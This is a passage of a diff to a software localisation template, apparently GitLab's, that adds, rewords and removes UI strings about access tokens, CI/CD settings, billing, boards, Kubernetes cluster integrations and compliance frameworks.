+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1678,16 +1678,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1816,6 +1819,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,19 +2263,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,10 +2299,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3281,9 +3308,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3656,9 +3683,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
